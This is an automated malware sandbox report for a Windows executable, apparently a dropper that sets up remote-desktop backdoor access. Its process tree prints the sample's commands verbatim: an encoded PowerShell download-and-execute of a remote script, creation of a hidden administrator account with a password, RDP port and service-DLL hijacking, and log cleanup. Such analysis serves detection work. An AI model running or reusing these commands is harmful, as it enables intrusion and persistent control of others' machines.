Analysis

  • max time kernel
    150s
  • max time network
    99s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-09-2021 21:43

General

  • Target

    83d119a963e7050995f9bf6be8841b95.exe

  • Size

    5.7MB

  • MD5

    83d119a963e7050995f9bf6be8841b95

  • SHA1

    2ba0e479d5c2b7b9b28c7f946bd56489cedaa126

  • SHA256

    d7ef71aa67e1fb5a364c97ff4b89f5f6a28db1c84f91563547a4e44581833486

  • SHA512

    4c740f5e0f4787fc268239882fe9b74ee00944053ac4c45ca1d114dbd22954f00c3f4fd5fb39be932b44e6da9380466d07b324150454357bf7b12a17b77ceffe

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe
    "C:\Users\Admin\AppData\Local\Temp\83d119a963e7050995f9bf6be8841b95.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4936
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5drmgc1n\5drmgc1n.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5104
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES970B.tmp" "c:\Users\Admin\AppData\Local\Temp\5drmgc1n\CSCB94FCE7A99CF424194347C4E4E2EB2.TMP"
          4⤵
            PID:3268
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:416
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1100
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:4716
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3344
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3340
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4104
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1008
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3604
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3708
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2884
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4260
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:740
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3848
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3940
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3440
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:1216
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:1828
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4264
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3684
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:4496
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 6letaiCK /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:812
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 6letaiCK /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1396
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc 6letaiCK /add
                          3⤵
                            PID:1524
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1808
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1040
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:580
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2500
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3240
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:3632
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4064
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4068
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3496
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 6letaiCK
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2352
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 6letaiCK
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2844
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc 6letaiCK
                                  3⤵
                                    PID:4076
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2080
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:4556
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                  PID:4708
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:3344
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:4044
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:5052
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:5068

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Temp\5drmgc1n\5drmgc1n.dll

                                        MD5

                                        8f1a77661d61dd4da6640eef43a23b8b

                                        SHA1

                                        5f5a64847dc0b47fc04e6d2f8bde97f021f03944

                                        SHA256

                                        52e29a6a3b4fe12c23d2c057f0228ccf720d50615a17bbcc3bba9fd11dd8bd59

                                        SHA512

                                        2588459bdf58e4ca34e1f07b21c7d7bc642d3ffb6c408f7cfccddb0b4e0d4bcd5d4802bbb28645ab17622ad95fa3d713ba1c9970680a40002fe7968a3946097d

                                      • C:\Users\Admin\AppData\Local\Temp\RES970B.tmp

                                        MD5

                                        43c612824034d372a2147adde8e768d0

                                        SHA1

                                        603eff8d1f3ea00ae0836e0a9f46c671fc312811

                                        SHA256

                                        28624f6137cc35cfd2fd921ff4ee270f94cd027a975cc0074ef21871d3768b3d

                                        SHA512

                                        60344a7dbcf8b1c2c5cfc2cc5d1c7ef76a8a194db7f228bb2cec0ac4311837f95ee38d6396ce9d0952fef247d8e3a173539095d72ec29992a46e424ee4193be9

                                      • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                        MD5

                                        9d21abc1a799ae0ea31258d563532295

                                        SHA1

                                        a9cde90ba328e30a3eb7a5c410b304a4ae09cdba

                                        SHA256

                                        8075e676d039b5791405f3ab00787a16199920dfe025ff04359b953565bf6f2f

                                        SHA512

                                        b9324c8b4af372a89aaa8c864dab88e74fdd820b28b6fe03897151e23de01b0a0857959e0e023340e4dd18ba0a6dad2faaf365580769b3a473070457b72b3065

                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                        MD5

                                        28d9755addec05c0b24cca50dfe3a92b

                                        SHA1

                                        7d3156f11c7a7fb60d29809caf93101de2681aa3

                                        SHA256

                                        abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                        SHA512

                                        891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                      • \??\c:\Users\Admin\AppData\Local\Temp\5drmgc1n\5drmgc1n.0.cs

                                        MD5

                                        9f8ab7eb0ab21443a2fe06dab341510e

                                        SHA1

                                        2b88b3116a79e48bab7114e18c9b9674e8a52165

                                        SHA256

                                        e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                        SHA512

                                        53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                      • \??\c:\Users\Admin\AppData\Local\Temp\5drmgc1n\5drmgc1n.cmdline

                                        MD5

                                        6847ea95f6502b5e247c4c9b15e7c550

                                        SHA1

                                        14560fa98b580e2bc61b540e882c4b189baa0548

                                        SHA256

                                        96af6a8c1909ba1870812eb4b50f7b5d1932393497ee0377e9304b33e2c91ac8

                                        SHA512

                                        c3123f104c73ef6d14a0fddd687df65b94b5b0f34b2385587ac7d52b90757d6c0c28dc4ec3a015837d52b10b58d0418877b0951d0d9f8a6b0a0459c600ab8abb

                                      • \??\c:\Users\Admin\AppData\Local\Temp\5drmgc1n\CSCB94FCE7A99CF424194347C4E4E2EB2.TMP

                                        MD5

                                        848d49df70c48d0288cfed3e85b84033

                                        SHA1

                                        99d4922beb8d64ec5490aab9a79143f5666b79c8

                                        SHA256

                                        aa548d2b29250898debf642a921ad659d2f031f2dc27214da9342f2605d0a6f4

                                        SHA512

                                        e9f71be7fd42a84857088bf8e72b7e7aa40976178ff407eab35da865b9ee80ea645a773ab77e5b8285242d7491f73b67036d6d4688d7311440df3124a0d98c4f

                                      • \Windows\Branding\mediasrv.png

                                        MD5

                                        2997902dba8aefe9e872b14c2bfb584b

                                        SHA1

                                        cca608ebdde64a12dca56b2bd4864089857eba01

                                        SHA256

                                        537ab9c5f678410f21c063f11f4a894cc15025a5590199716a01bbf365dc0e50

                                        SHA512

                                        4fc959cbf5bebfcb5a32fdebd2ceec8943f9d3d0ffcaed236b2d73b680c5c5f6c85d5ad3d192d7d565f4b2fe07fb87321a8036a304147df2b7f45936ff5f9fc1

                                      • \Windows\Branding\mediasvc.png

                                        MD5

                                        9119f61ba0d487585a8fd5aaa4198a9a

                                        SHA1

                                        1ff2e337e5d1547d9e1824062500f743aae999db

                                        SHA256

                                        6a3da788a78fc2024fbfb135624047a7d15edcae3798a3cb0e87fbab740d70f1

                                        SHA512

                                        322e3e0006a3015c0495b76bdf9125285e6a6dd2f84d69996e4d95cbc73449269b7945ccccad465d417394075bc69f46f91ad1eb95f717958977cb88139267ab

                                      • memory/416-257-0x0000027676466000-0x0000027676468000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/416-216-0x0000027676460000-0x0000027676462000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/416-218-0x0000027676463000-0x0000027676465000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/416-205-0x0000000000000000-mapping.dmp

                                      • memory/416-258-0x0000027676468000-0x000002767646A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/580-365-0x0000000000000000-mapping.dmp

                                      • memory/740-354-0x0000000000000000-mapping.dmp

                                      • memory/1008-347-0x0000000000000000-mapping.dmp

                                      • memory/1040-364-0x0000000000000000-mapping.dmp

                                      • memory/1100-260-0x000002477A723000-0x000002477A725000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1100-291-0x000002477A728000-0x000002477A72A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1100-246-0x0000000000000000-mapping.dmp

                                      • memory/1100-259-0x000002477A720000-0x000002477A722000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1100-290-0x000002477A726000-0x000002477A728000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1216-442-0x0000000000000000-mapping.dmp

                                      • memory/1396-362-0x0000000000000000-mapping.dmp

                                      • memory/1524-363-0x0000000000000000-mapping.dmp

                                      • memory/1828-443-0x0000000000000000-mapping.dmp

                                      • memory/2844-370-0x0000000000000000-mapping.dmp

                                      • memory/2884-352-0x0000000000000000-mapping.dmp

                                      • memory/3240-366-0x0000000000000000-mapping.dmp

                                      • memory/3268-141-0x0000000000000000-mapping.dmp

                                      • memory/3340-309-0x0000000000000000-mapping.dmp

                                      • memory/3344-308-0x0000000000000000-mapping.dmp

                                      • memory/3392-168-0x00000230F2933000-0x00000230F2935000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3392-166-0x00000230F2930000-0x00000230F2932000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3392-160-0x0000000000000000-mapping.dmp

                                      • memory/3392-176-0x00000230F2936000-0x00000230F2938000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3392-215-0x00000230F2938000-0x00000230F293A000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/3440-357-0x0000000000000000-mapping.dmp

                                      • memory/3496-369-0x0000000000000000-mapping.dmp

                                      • memory/3604-350-0x0000000000000000-mapping.dmp

                                      • memory/3632-367-0x0000000000000000-mapping.dmp

                                      • memory/3684-360-0x0000000000000000-mapping.dmp

                                      • memory/3708-351-0x0000000000000000-mapping.dmp

                                      • memory/3848-355-0x0000000000000000-mapping.dmp

                                      • memory/3940-356-0x0000000000000000-mapping.dmp

                                      • memory/4068-368-0x0000000000000000-mapping.dmp

                                      • memory/4076-371-0x0000000000000000-mapping.dmp

                                      • memory/4104-346-0x0000000000000000-mapping.dmp

                                      • memory/4260-353-0x0000000000000000-mapping.dmp

                                      • memory/4496-361-0x0000000000000000-mapping.dmp

                                      • memory/4556-372-0x0000000000000000-mapping.dmp

                                      • memory/4716-307-0x0000000000000000-mapping.dmp

                                      • memory/4796-118-0x0000020AF7D35000-0x0000020AF7D36000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4796-119-0x0000020AF7D36000-0x0000020AF7D37000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4796-116-0x0000020AF7D30000-0x0000020AF7D32000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4796-117-0x0000020AF7D33000-0x0000020AF7D35000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4796-114-0x0000020AF8150000-0x0000020AF854F000-memory.dmp

                                        Filesize

                                        4.0MB

                                      • memory/4936-131-0x000002C66C323000-0x000002C66C325000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4936-126-0x000002C66C2D0000-0x000002C66C2D1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4936-129-0x000002C66C320000-0x000002C66C322000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4936-130-0x000002C66CD40000-0x000002C66CD41000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4936-120-0x0000000000000000-mapping.dmp

                                      • memory/4936-149-0x000002C66C328000-0x000002C66C329000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4936-138-0x000002C66C326000-0x000002C66C328000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/4936-153-0x000002C66D6A0000-0x000002C66D6A1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4936-145-0x000002C66C300000-0x000002C66C301000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/4936-152-0x000002C66D310000-0x000002C66D311000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/5052-373-0x0000000000000000-mapping.dmp

                                      • memory/5068-390-0x000001FA79DE6000-0x000001FA79DE8000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5068-386-0x000001FA79DE0000-0x000001FA79DE2000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5068-387-0x000001FA79DE3000-0x000001FA79DE5000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/5068-429-0x000001FA79DE8000-0x000001FA79DE9000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/5068-374-0x0000000000000000-mapping.dmp

                                      • memory/5104-137-0x0000000000000000-mapping.dmp